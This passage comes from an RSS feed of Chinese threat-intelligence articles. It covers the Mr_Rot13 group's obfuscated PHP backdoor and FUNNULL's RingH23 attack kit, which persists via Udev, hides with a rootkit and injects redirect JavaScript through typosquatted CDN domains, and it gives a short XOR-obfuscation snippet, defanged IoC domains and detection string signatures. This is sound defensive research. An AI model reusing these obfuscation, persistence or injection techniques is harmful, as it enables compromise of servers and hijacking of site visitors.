0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">混淆方式为简单的字串xor拼接混淆，以下面的混淆字串为例，它去混淆后为为</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">str_rot13</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">  <span class="code-snippet__variable">$___</span> =  (<span class="code-snippet__string">&#34;8&#34;</span> ^ <span class="code-snippet__string">&#34;K&#34;</span>) .(<span class="code-snippet__string">&#34;8&#34;</span> ^ <span class="code-snippet__string">&#34;L&#34;</span>) .</span></code><br/><code><span leaf="">          (<span class="code-snippet__string">&#34;8&#34;</span> ^ <span class="code-snippet__string">&#34;J&#34;</span>) .(<span class="code-snippet__string">&#34;v&#34;</span> ^ <span class="code-snippet__string">&#34;)&#34;</span>) .</span></code><br/><code><span leaf="">          (<span class="code-snippet__string">&#34;8&#34;</span> ^ <span class="code-snippet__string">&#34;J&#34;</span>) .(<span class="code-snippet__string">&#34;T&#34;</span> ^ <span class="code-snippet__string">&#34;;&#34;</span>) .</span></code><br/><code><span leaf="">          (<span class="code-snippet__string">&#34;8&#34;</span> ^ <span class="code-snippet__string">&#34;L&#34;</span>) .(<span class="code-snippet__string">&#34;W&#34;</span> ^ <span class="code-snippet__string">&#34;f&#34;</span>) .</span></code><br/><code><span leaf="">          (<span class="code-snippet__string">&#34;R&#34;</span> ^ <span class="code-snippet__string">&#34;a&#34;</span>);</span></code><br/></pre></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">全文去混淆后不难看出PHP后门的主要逻辑为：首先向远程服务器</span><span leaf=""><a href="https://wrned[.]com/api.php?t=3&amp;c=1" target="_blank">https://wrned[.]com/api.php?t=3&amp;c=1</a></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">回传触发环境下的关键参数，包括URL、客户端IP、参数 w 的值及User-Agent等。C2响应返回一个包含 s、u、c 三个键的JSON对象。其中，s 用于标识当前请求在C2视角下是否合法；c 为RC4密钥，用于解密硬编码的payload；u 用于承载额外数据，我们推测它在解密后的payload执行阶段被引用。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="helperphp_brief.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="566" data-backw="578" data-imgfileid="100000888" data-ratio="0.9787037037037037" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=da39541a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8z5Q4ibXAff1ibUia3FSIKcdjM1jJKqAwmoyIxuCqLptbHVib8mjK8yx5j3MAWxazakNbLnyMYiado8sib0iaVlrzkIDqEGCKDbBssyiaI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">实际产生的流量如上所示，我们持续跟踪了数日，但遗憾的是，始终未从C2收到有效响应，因此无法解密样本中经RC4加密的载荷，难以进一步分析该PHP后门的具体功能。不过可以确定的是，WordPress 无疑是 Mr_Rot13 的重点攻击目标之一。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="helperphp_test.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="304" data-backw="578" data-imgfileid="100000886" data-ratio="0.5253164556962026" style="box-sizing:inherit;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;line-height:inherit;font-family:inherit;font-optical-sizing:inherit;font-size-adjust:inherit;font-kerning:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-language-override:inherit;font-size:20px;margin:0px auto;padding:0px;vertical-align:middle;display:block;max-width:100%;width:100%;" data-type="png" data-w="948" src="https://wechat2rss.xlab.app/img-proxy/?k=e5e70cc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8y4n5Tay9IVSMxl8RicsYbAv49SqxbEISa16g8XtPkHONiaH4bkxibLalegsfib0Vss34pxF42MgnVN2gwTT5FcGYQRia97hDpe5l4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">总结</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这是目前掌握的Mr_rot13黑客团伙的所有情报，受限于分析视野，相关信息仍不完整，欢迎掌握更多线索的团队或个人与我们共享情报；如果您对我们的研究感兴趣，或者了解内幕消息，欢迎与我们联系。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">对威胁情报感兴趣的读者，请点击下方的“<span textstyle="" style="font-weight: bold;">阅读原文</span>”</span><span leaf="">访问我们的官方博客</span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，原文提供了Mr_rot13详尽的IoC。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/mr_rot13-the-elusive-6-year-hacker-group-weaponizing-critical-cpanel-flaws-for-backdoor-deployment_cn/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=70c2bbf6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484541%26idx%3D1%26sn%3Dcd060e133650e85bb3ec04e3ad4fa731">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 May 2026 15:42:00 +0800</pubDate>
    </item>
    <item>
      <title>围剿FUNNULL黑产：深度揭秘影响百万用户的投毒攻击链</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484516&amp;idx=1&amp;sn=ff428e43c3a636bc61646a4459cb6200</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>奇安信X实验室</span> <span>2026-02-27 12:59</span> <span style="display: inline-block;">江西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=908289a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8xJ41kbLx4vJZic2z8H0WgveCmhmYfhZnGvS7iayU3r6XYow9cV9IXAcsFqgmuKicEAY8MXdrS4BJEnf7t5bLDIxjSNxr8p4C4sib8%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">背景介绍</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">Funnull（全称 Funnull Technology Inc.，中文又称方能CDN或方能科技</span><span textstyle="" style="font-size: 18px;">）是一家注册在菲律宾的公司，表面上看是一家提供CDN（内容分发网络）服务的公司，但实际上它是东南亚网络黑产链条中非常重要的基础设施提供商，专为“杀猪盘”网络诈骗提供一站式服务，被美国政府明确定性为重大网络犯罪支持者，在中国黑灰产圈内也长期被视为“诈骗专用云”。2025年5月29日，美国财政部外国资产控制办公室（OFAC）正式宣布对Funnull黑产团伙进行制裁，之后 Funnull 的公开运营基本陷于停滞。然而网络黑产链条的往往有极强的韧性，Funnull这样的老牌专业团队更是如此，“被打击、潜伏、再度回归”几乎成为其生存常态，</span><span textstyle="" style="font-size: 18px;font-weight: bold;">我们的最新研究表明Funnull已换皮复活</span><span textstyle="" style="font-size: 18px;">。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">时间回到2025年7月9日，</span><span textstyle="" style="font-size: 18px;font-weight: bold;">Xlab大网威胁感知系统</span><span textstyle="" style="font-size: 18px;">监测到域名download.zhw.sh正在传播一个VT 0 检测的ELF文件。首先引起注意的是访问hxxp://zhw.]sh显示的图片，让我们直呼真是胆大包天。更值得警惕的是，样本中涉及的域名“client.110.nz”在我们的PDNS系统中显示解析次数高达16亿次，种种异常迹象表明，这似乎是一条“大鱼”。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.22324159021406728" data-s="300,640" data-type="png" data-w="981" style="width:100%;" type="block" data-backw="578" data-backh="129" data-imgfileid="100000748" src="https://wechat2rss.xlab.app/img-proxy/?k=b2f75080&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8w3JE9Jib4vy3E7ldvCTuunkaLOLibtKzxF1S0H6joos3Fw93aYCFhI84Joe0gib9s210LVB7SvF0OWozs71DpibdKhZhbBSXfcSoc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">在激动的心情中，我们开始了分析之旅，很快就有了初步结论：这个ELF文件是一个下载器，它会向远程服务器请求udev.sh, udev.rules, module.so, libutilkeybd.so, ring04h_office_bin等多个载荷，但由于缺乏有效的会话令牌（session token）与群组密钥（group key），我们未能通过服务器的校验机制，没有捕获这些后续样本。然而，根据这些Payload的目的——如libutilkeybd.so用于通过 Preload 机制实现劫持，udev.rules用于通过Udev机制实现持久化——我们高度确信，这个下载器是一个恶意软件。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">为查明这个下载器的真实意图，我们以文件名为线索进行主动狩猎，迅速锁定关键组件：module.so 与 libutilkeybd.so；一个月之后，我们进一步发现了到首个 ring04h_office_bin 样本。这些样本的相继捕获，逐步拼凑出一个攻击链条：攻击者首先入侵GoEdge管理节点，并植入感染模块 infection_init。该模块随后通过SSH远程命令，强制所有边缘节点下载并执行 downloader_init。download_init，即是上文所说的下载器，它会在受控节点上部署以下一系列恶意载荷，很明显这是一个分工非常明确的攻击套件，基于样本中反复出现的字串RING04H,以及office_bin模块使用xor 23解密配置文件，这个攻击套件被我们命名为RingH23，它包含Badnginx2s，Badredis2s，Badhide2s等不同目的组件。</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">udev.sh &amp; udev.rules</span><span textstyle="" style="font-size: 18px;">：非常少见的Udev持久化脚本&amp;规则</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">module.so</span><span textstyle="" style="font-size: 18px;">：非常少见的Nginx恶意模块，负责下载劫持，数字钱包替换，向网页注入恶意JavaScript代码，被命名为Badnginx2s</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">ring04h_office_bin</span><span textstyle="" style="font-size: 18px;">：后门模块，用于维持对节点的长期持久化访问，C2保存在Azure Blob Storage，被命名为Badredis2s</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">libutilkeybd.so</span><span textstyle="" style="font-size: 18px;">：用户态Rootkit模块，用于隐藏Payload的活动痕迹,被命名为Badhide2s</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">此次攻击活动的核心目的之一，是在向网页中植入恶意JavaScript代码，从而将访问者劫持并跳转至博彩、色情等非法网站。这些恶意脚本托管于数个2025年创建的公共静态资源库CDN的高仿域名。</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">code.jquecy[.]com，仿冒jquery.com</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">cdn.jsdclivr[.]com，仿冒jsdelivr.com</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">cdnjs.clondflare[.]com，仿冒cloudflare.com</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">static.bytedauce[.]com，仿冒bytedance.com</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">这批域名于2025年创建，从我们的数据视野来看，它们的影响范围已经相当广泛。以clondflare为例，访问峰值在2025年8月30日，当天去重客户端高达34万。需要强调的是，我们数据源在国内约占5%的市场份额，按照这个比列推算，</span><span textstyle="" style="font-size: 18px;font-weight: bold;">clondflare当天在全国范围内可能被680万用户主观或被动访问，其影响规模令人咂舌</span><span textstyle="" style="font-size: 18px;">。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5168248490077653" data-s="300,640" data-type="png" data-w="1159" style="width:100%;" type="block" data-backw="578" data-backh="299" data-imgfileid="100000740" src="https://wechat2rss.xlab.app/img-proxy/?k=0bbfb1e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8x3GApsIADXPouIbN3pkAunaTGAJCq1fJrhMC1QvMEZOsT5LgJxhtKyHFS8GPxId1nk8FAZaVQ5L5rJDHovbx3sIdnwYbpVToo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">此次攻击活动背后的团伙绝非普通黑客，我们以恶意JavaScript代码为线索展开溯源分析，惊奇地发现：本次活动使用的JS代码与2024年2月Polyfill.io供应链攻击以及同年5月GoEdge遭官方投毒两次攻击事件中所使用的恶意脚本如出一辙。这些攻击的黑手正是臭名昭著的Funnull黑产组织。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">随着调查进一步深入，我们发现Funnull针对开源供应链及基础设施方面的攻击活动并没有停止。除了上述知名CDN服务外，该组织还将黑手伸向了影视内容管理系统领域——我们确认苹果CMS（maccms.la版）使用相同的JS脚本进行隐蔽的投毒攻击。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">以下为本次研究的核心发现：</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">1. Funnull换马甲回归，而且全面升级。</span></span></p><p style="text-indent: 0px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Funnull又回来了，它是2024年Polyfill.io供应链攻击，是此前BootCDN、Bootcss、Staticfile等多起CDN投毒事件的幕后黑手，是被美国财政部点名协助&#34;杀猪盘&#34;骗局、受害者报告损失超2亿美元的那个黑产组织。他们的之前的主要手法是寄生在已有的公共CDN服务上投毒；而现在已进化到自主开发完整的服务器端攻击套件（RingH23），主动入侵CDN节点，控制力和技术深度都上了一个台阶。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">2. 两条独立的供应链感染通道。</span></span></p><p style="text-indent: 0px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">路径一：苹果CMS（maccms.la）官方升级通道投毒。 苹果CMS是一个GitHub上积累2,700+星标的开源影视建站系统，在中国中小型影视站长中拥有极高普及率。现在看来它已落入了Funnull黑产组织之手，现已有明确证据表明，maccms.la官方通过升级通道下发恶意PHP后门。投毒设计非常狡猾——用户安装后首次登录管理后台时触发，payload设有3分钟时效窗口，下载成功之后或过期即无法访问，有效规避事后取证。</span></span></p><p style="text-indent: 0px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">路径二：GoEdge管理节点 → SSH横向扩散 → RingH23套件部署。 攻击者入侵GoEdge CDN管理节点，植入感染模块，随后通过SSH远程命令将攻击套件RingH23强制部署到所有边缘节点。该套件包含Badredis2s, Badnginx2s, Badhide2s等多个专业化组件，并且使用非常少见的UDEV机制实现持久化。这些组件设计精良，分工极其明确，不是脚本小子的随手之作，而是一个成熟的工程化黑产攻击套件。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">3. 影响百万级用户，受害者陷入&#34;清理又感染&#34;的死循环。</span></span></p><p style="text-indent: 0px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">从我们的监测数据来看：单日去重客户端峰值达58万（而我们的数据源仅占国内约5%的市场份额），保守推算全国日均超过百万用户被劫持至博彩、色情等非法站点。10,748个IP被确认感染，绝大多数为影视站点。Badredis2s的C2域名排进Tranco全球网站排名前50万，活跃程度极高。更棘手的是，大量受害站长陷入反复感染的困境。原因在于感染是三层结构，只清理表面等于只擦掉了症状，必须三层全部清除，否则必定复发。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.71171875" data-s="300,640" data-type="jpeg" data-w="1280" style="width:100%;" type="block" data-backw="578" data-backh="411" data-imgfileid="100000749" src="https://wechat2rss.xlab.app/img-proxy/?k=c0a9fb45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8yJB9zfTkibxjI0a5GSmkfLEiaD2UFtWYU8J0ypg7bF8rNqWCLWfnHdqREQibczpx3cySxxINk8uVHcTUGtn0GOG6skLU9e0dCq08%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">第一层（表面）：被篡改的JS文件。 这是多数人发现的症状，清除后短暂恢复。</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">第二层（中间）：PHP恶意载荷。 恶意PHP载荷在thinkphp框架中注册钩子，每一个被渲染的页面都会被自动重新感染，不清除PHP后门，JS永远清不干净。</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">第三层（根源）：官方升级通道 / 系统级持久化。 对maccms.la用户，每次检查更新都可能会重新下发恶意代码；对RingH23受害者，udev规则在重启后自动恢复后门，Rootkit隐藏一切痕迹。</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">4. CDN1.AI疑似为FUNNULL的新马甲基础设施。</span></span></p><p style="text-indent: 0px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Funnull用于托管恶意JS脚本的域名近期集体迁移至CDN1.AI。CDN1于2025年6月才创建，却在极短时间内被FUNNULL全面采用。然而自身运维水平粗糙——官方网站证书过期都未处理，明显不符合一个正规CDN服务商的表现。综合其快速获得信任的异常模式与基础设施高度同步的迁移时机，我们推测CDN1.AI并非真正的第三方CDN，而是FUNNULL为规避追踪而启用的新马甲，这意味着该团伙正在主动构建新的基础设施层。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">5. 黑产运用精细化运营逻辑，针对性极强。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">攻击主要针对手机用户，设有地区限制（目前仅中国时区触发）和分时段概率机制。例如凌晨4-7点的劫持概率高达80%，利用的正是用户深夜疲惫、自控力下降的心理窗口。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">更值得警惕的是攻击者的用户画像策略：根据页面内容关键词判断访客类型，实施差异化导流，这套用户画像与分时段概率投放的运营逻辑，堪比正规公司的精细化运营水平。</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">对访问正常内容的用户（&#34;正经流量&#34;）：优先推送入门级色情和擦边内容，降低心理门槛，逐步引导转化。</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">对已在访问灰色内容的用户（&#34;高价值流量&#34;）：直接对接上游赌博平台、高客单价色情站点，加速沉迷，最大化用户产出。</span></span></p></li></ul><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align:left;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">百万级别的影响规模</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">基于现有监测数据，虽然难以精确量化此次黑产活动的总体感染规模，但通过被感染的网站，C2排名，以及恶意JS被访问的趋势三个维度的观测，已能充分印证其广泛的影响。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;">1. 探测被感染的网站</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">植入到网页中的JS代码有非常强的特征，如“function xxSJRox”，“MfXKwV”，“ptbnNbK”等字串，通过资产测绘，我们发现10748个IP命中这一特征，它们中的大多数是影视站点。值得注意的是，恶意代码是动态注入，很多实际已被感染的网站可能不会被测绘发现。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4297071129707113" data-s="300,640" data-type="png" data-w="2390" style="width:100%;" type="block" data-backw="578" data-backh="248" data-imgfileid="100000756" src="https://wechat2rss.xlab.app/img-proxy/?k=9e7cd65d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zLKYp3Vnqujc7ubq2VrmmicNhpzuCKvicS1EKFr2c92qI3HEQcEfFNJYuPPAPKzGX7wG5fpOu3LicomJKr4slJES38erKdhASEeY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;">2. C2的排名</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Tranco 排名是一个用于衡量网站流行度的综合性排名系统，旨在提供更准确、更可靠的全球网站排名数据。它结合了Cisco Umbrella，Majestic，Farsight，Cloudflare Radar，Chrome 用户体验报告等多个数据源，是学术界广泛使用的工具。目前，Badredis2s的大部分C2都排在全球网站排名50万左右，活跃程度非常高。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4221698113207547" data-s="300,640" data-type="png" data-w="848" type="block" data-imgfileid="100000755" src="https://wechat2rss.xlab.app/img-proxy/?k=192517ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8y1ZarZlSibHktbKBG4NntZwtTuygQmO36N9MVc2yJwbhpYWIMHY3IkIYQRUQcyBD5rvdGCrLray9r6dT3bnBHoQVkzIBwTSy74%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;">3. 恶意JS被访问的趋势</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">我们在溯源过程中又发现了3个新的恶意JS托管站点：bdustatic[.]com，jsdelivr[.]vip以及macoms[.]la。从统计数据来看，单日去重后的客户端峰值为58万，当前数值略有下降，保持在20万左右。 考虑到数据来源的市场占有率，保守评估每天超过百万用户受这些恶意JS背后非法站点的影响。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.41203703703703703" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000752" src="https://wechat2rss.xlab.app/img-proxy/?k=102bbc54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8zNtqSg2e88F5v7sSRHf25ibj3ia0oDVOH9w97qSBs0fjrFeVjspcDCibKmTT6ibIuCFEIeakOfszLdxIV8dF23mVYibn36SgYycwPc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align:left;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">死灰复燃的FUNNULL黑产</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">1. 归属于FUNNULL的原因</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">Funnull作为东南亚黑产生态中的上游基础设施提供商，主要通过从 AWS、Azure 等云厂商批量采购干净 IP 地址，再结合 DGA 